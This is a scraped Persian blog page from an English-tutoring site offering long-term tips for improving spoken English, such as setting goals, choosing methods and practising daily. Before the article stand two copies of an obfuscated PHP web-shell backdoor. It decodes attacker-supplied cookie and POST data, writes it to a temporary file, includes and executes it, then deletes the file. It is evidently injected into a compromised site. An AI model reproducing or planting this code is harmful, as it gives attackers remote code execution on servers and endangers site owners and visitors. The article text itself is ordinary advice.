$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} راهکار های موثر تقویت مکالمه زبان انگلیسی در طولانی مدت | وبلاگ اتیچر
skip to Main Content

راهکار های موثر تقویت مکالمه زبان انگلیسی در طولانی مدت

زمان مطالعه: ۵ دقیقه

فهرست بخش ها

چگونه در طولانی مدت در مکالمه زبان انگلیسی روان شویم؟

پاسخی برای این سوال وجود ندارد همان طور که معنی دقیقی برای روانی و فصاحت در زبان انگلیسی وجود ندارد.
تحقیقات بسیاری انجام شده که به زبان آموزان مسیر را نشان می‌دهد، اما بسیاری از آنها در نشان دادن شرایط لازم برای موفقیت شکست خورده اند. در حال حاضر چندین مولفه برای فصاحت در مکالمه زبان انگلیسی وجود دارد از جمله:

کارایی در روش تعامل، مهارت زبان شناختی، آگاهی هنری ‌و اعتماد به نفس. اما به طور کلی عنصر کلیدی روانی و فصاحت، برای هر فرد خاص متفاوت است.

تعیین هدف و انگیزه از یادگیری زبان انگلیسی

از خودتان سوال کنید، انگیزه خود را مشخص کنید؛ به این ترتیب مسیرتان را برای رسیدن به هدف هموار کنید. آیا واقعاً مایل به یادگیری زبان انگلیسی هستید؟ این تمایل از کجا الهام می‌گیرد؟ آیا به خاطر انتظارات اطرافیانتان، تمایل به یادگیری زبان انگلیسی دارید؟ تا زمانی که به موثرترین انگیزه‌ تان نرسیده باشید،‌ صحبت کردن به زبان انگلیسی سخت و غیرقابل تحمل خواهد بود.
اما اگر انگیزه‌های تان روشن باشد شما را در راه رسیدن به هدف تقویت زبان انگلیسی تشویق می‌کند. افراد حرفه‌ای انگیزه های بسیار دقیقی در راه رسیدن به اهدافشان دارند..
برای اهداف تان برنامه ریزی کنید، ابزارهای تان را سازماندهی کنید و به زندگی تان نظم ببخشید.

بررسی روش های مختلف

موسسات آموزشی و متد های اموزش مکالمه زبان انگلیسی را بررسی کنید. باید در مورد بهترین جایگزین ها و چشم انداز هایی که در طول مسیر، هر روز پیش می‌آید آگاه باشید. پس از آن باید تصمیم بگیرید که آیا می‎خواهید آموزش زبان آنلاین داشته باشید یا در آموزشگاه ثبت نام کنید یا با معلم خصوصی کار کنید. در واقع باید چشم انداز روشنی از موارد مورد نیاز برای تصمیمات خاص داشته باشید.

با دوستانتان یا افراد با تجربه ای که می‌توانند شما را در این زمینه راهنمایی کنند صحبت کنید. یک یا دو جلسه به بررسی کارهایی که برایتان مناسب است اختصاص دهید. و پس از آن اهداف خود را نه تنها برای یادگیری مکالمه زبان انگلیسی بلکه برای یک چشم انداز کلی و کلیه مهارت های زبان، برنامه ریزی کنید

شناسایی منابع برای تقویت مکالمه زبان انگلیسی 

از خانواده و دوستان تان بخواهید که شما را حمایت کنند. به دنبال مشاوران، دوستان و راهنمایی هایی باشید که کاملا با موضوعی که شما در حال یادگیری آن هستید، آشنا باشند.

هم چنین می‌توانید از حمایت و مشاوره استاد زبان های اُتیچر برای یادگیری مکالمه زبان بهرمند شوید و متناسب با هدف و نیاز خود استاد زبان خود را انتخاب کنید.

هر چه بیشتر با زبان آموزان حرفه ای مراوده داشته باشید و با آنها به تمرین بپردازید، بیشتر با سیاست‌ها و رویکردهای آن ها آشنا خواهید‌شد و در نتیجه مهارت شما در مکالمه زبان انگلیسی تقویت خواهد‌شد

راه های یادگیری مکالمه زبان انگلیسی به طور موثر

روش های یادگیری کارآمد و خاص بسیاری وجود دارد. رویکرد تعاملی برای زبان آموزان زبان انگلیسی بسیار کارآمد است.
تعامل و ارتباط موثرترین ابزار برای یادگیری زبان انگلیسی به صورت طبیعی می داند.
همانطور که می دانید افراد با روش های مختلف مکالمه زبان انگلیسی را یاد می گیرند. بعضی از افراد می توانند به راحتی با تماشای فیلم های زبان اصلی، صحبت کردن را یاد بگیرند؛ و بعضی از آنها راحت ترند پادکست و موسیقی گوش کنند.
اگر فردی از شیوه های مختلف یادگیری آگاهی ندارد،‌ تمرکز و تمرین کردن با روش های مختلف به یادگیری زبان انگلیسی کمک خواهد کرد. به همین دلیل است که یادگیری زبان خارجی دوم کمتر از زبان اول زمان می‌برد، چون افراد با نحوه یادگیری آن آشنا شده‌اند.

همچنین برای تقویت مکالمه از طریق تماشای فیلم خواندن مقاله زیر پیشنهاد می شود.

روش های هیجان انگیز تقویت مکالمه انگلیسی با تماشای فیلم و سریال

 مسئولیت پذیری در یادگیری

بعد از اینکه هدف انتخاب کردید به هیچ وجه آن را نادیده نگیرید. اگر اشتباهی رخ داد باید مسئولیت آن را بپذیرید و به دنبال تصحیح آن باشید. گاهی اوقات شرایط خاصی وجود دارد که افراد دیگری نیز در یادگیری و آموزش شما نقش دارند؛ اما در نهایت این خودتان هستید‌ که باید کار را به اتمام برسانید. هیچ کس نمی تواند کاری برای شما انجام دهد.
اما اگر‌ از فرایند یادگیری لذت ببرید،‌ یاد گرفتن زبان انگلیسی بهترین سرگرمی است. در بعضی موارد پذیرفتن مسئولیت به این معنی است که شما جرات تغییر شرایط اطراف خود را دارید.

اشراف کامل بر شرایط

پیشرفت خود را در یادگیری زبان انگلیسی بررسی کنید. یادگیری یک زبان دیگر با یادگیری سایر موضوعات از قبیل ریاضی و علوم متفاوت است. آیا این روش شما برای یادگیری در مدرسه بود؟‌ نه!! بنابراین زمان آن رسیده که دیدگاه خود را تغییر دهید.
یادگیری کارآمد باید جذاب،‌ انگیزشی و واقعی باشد. باید تلاش کردن برای شما،‌ لذت بخش باشد. موقعیتی را که از یادگیری بسیار لذت بردید یادآوری کنید، این باعث ایجاد انگیزه برای رسیدن به هدف خواهد شد.

به یاد داشته باشید که رسیدن به چنین پروسه‌ای در یادگیری اصلا آسان نیست؛ اما‌ با استفاده از راهنمایی هایی که ذکر شد، می توانید در یادگیری و تقویت مکالمه زبان انگلیسی پیشرفت کرده و به موفقیت برسید.

برنامه ریزی و تمرین بر اساس برنامه

هر کس باید در کنار تلاش کردن، مسئولیت پذیر، فداکار و دقیق نیز باشد. کار هایتان را به صورت روزانه برنامه ریزی کنید نه هفتگی! مکالمه زبان انگلیسی را جزئی از زندگی خود قرار داده و هر روز آن را تمرین کنید. بعضی از روش های منحصر به فرد یادگیری مثل یاد گرفتن از برنامه های تلویزیونی، فیلم های زبان اصلی، پادکست ها و منابع مشابه را در دستور کارتان قرار دهید.
تمام راهنمایی های فوق به داوطلبان کمک می کند تا سریعتر زبان انگلیسی را یاد بگیرند و در مکالمه زبان انگلیسی رشد کنند. این راهنمایی ها و روش ها عالی ترین راه برای تسلط بر زبان انگلیسی نیست،‌ اما می تواند در شناسایی الزامات و سازماندهی آنها به شما کمک کند تا سریعتر به هدف برسید. این رویکردها و راهنمایی ها به گونه ای طراحی شده اند که به شما کمک می‌کنند تا افرادی را پیدا کنید که پروسه یادگیری زبان را برایتان جذاب کنند.

 

 

به این مقاله امتیاز بدهید

دیدگاه ها

شما هم دیدگاه، تجربه یا سوالتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search